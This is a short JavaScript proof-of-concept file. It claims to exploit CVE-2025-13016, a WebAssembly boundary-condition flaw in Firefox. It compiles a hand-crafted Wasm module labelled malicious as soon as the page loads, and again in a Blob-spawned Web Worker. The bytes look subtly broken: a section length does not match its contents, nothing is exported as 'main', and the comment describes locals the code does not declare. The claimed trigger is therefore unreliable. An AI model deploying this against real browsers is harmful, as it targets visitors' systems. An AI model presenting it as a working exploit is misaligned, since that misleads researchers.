// CVE-2025-13016 PoC - WebAssembly Boundary Condition Vulnerability
// This PoC demonstrates triggering the boundary condition error in Firefox WebAssembly
const maliciousWasmCode = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, // Magic number
0x01, 0x00, 0x00, 0x00, // Version
// Type section with malicious function signature
0x01, 0x07, 0x01, 0x60, 0x02, 0x7f, 0x7f, 0x01, 0x7f,
// Function section
0x03, 0x02, 0x01, 0x00,
// Code section with oversized locals to trigger boundary condition
0x0a, 0x0f, 0x01, 0x0d, 0x00, 0x20, 0x00, 0x20, 0x00,
0x10, 0x00, 0x0b, 0x00, 0x0b
]);
async function triggerVulnerability() {
try {
// Compile malicious WebAssembly module
const module = new WebAssembly.Module(maliciousWasmCode);
const instance = new WebAssembly.Instance(module);
// Trigger the vulnerable code path
if (instance.exports.main) {
instance.exports.main();
}
} catch (e) {
console.log('Vulnerability triggered or error occurred:', e.message);
}
}
// Execute when page loads
window.onload = () => {
triggerVulnerability();
};
// Alternative: Web Worker based trigger
const workerCode = `
self.onmessage = async function(e) {
const maliciousWasm = new Uint8Array(e.data);
try {
WebAssembly.compile(maliciousWasm);
} catch(err) {
console.log('Wasm compilation attempted');
}
};
`;
const blob = new Blob([workerCode], { type: 'application/javascript' });
const workerUrl = URL.createObjectURL(blob);
const worker = new Worker(workerUrl);
worker.postMessage(maliciousWasmCode);